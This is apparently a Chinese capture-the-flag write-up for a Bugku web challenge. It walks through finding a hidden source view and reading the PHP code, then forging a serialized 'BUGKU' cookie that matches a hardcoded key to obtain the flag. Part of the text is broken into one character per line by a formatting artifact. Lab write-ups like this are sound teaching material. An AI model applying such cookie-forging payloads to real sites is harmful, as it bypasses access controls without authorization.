点login咋没反应
1.首先出现一个登录界面 点了几下没反应,f12看一下 发现有一个
href="admin.css"
于是加到url后面看一下,发现有反馈
/* try ?21834 */
body {
background-color: #C1DEE8;
}
页面显示中其他的算正常,但是这个try有点迷,不过这个?倒是提醒了我可以在URL后面加一下试试,加上去果然有反应 得到如下显示
<?php
error_reporting(0);
$KEY='ctf.bugku.com';
include_once("flag.php");
$cookie = $_COOKIE['BUGKU'];
if(isset($_GET['21834'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
又是代码审计,一行一行来
$KEY=‘ctf.bugku.com’; ctf.bugku.com赋值给KEY
include_once(“flag.php”); 文件包含一次flag.php
$cookie = $_COOKIE[‘BUGKU’]; $_COOKIE 变量在BUGKU 取回 cookie 的值
第一个if不需要看
第二个elseif 反序列化
c
o
o
k
i
e
如
果
等
于
cookie如果等于
cookie如果等于KEY返回flag 但是要注意一个点
===:三个等号我们称为等同符,当等号两边的值为相同类型的时候,直接比较等号两边的值,值相同则返回true,若等号两边的值类型不同时直接返回false。
2.思路 所以我们可以构造BUGKU的序列化和KEY的值相等来达到获取flag的目的 于是构造序列化(此环境为本地测试)
<?php
$KEY='ctf.bugku.com';
echo serialize($KEY)
//s:13:"ctf.bugku.com";
?>
所以最终payload为
BUGKU=s:13:"ctf.bugku.com";
用hackbar或者其他的提交均可
|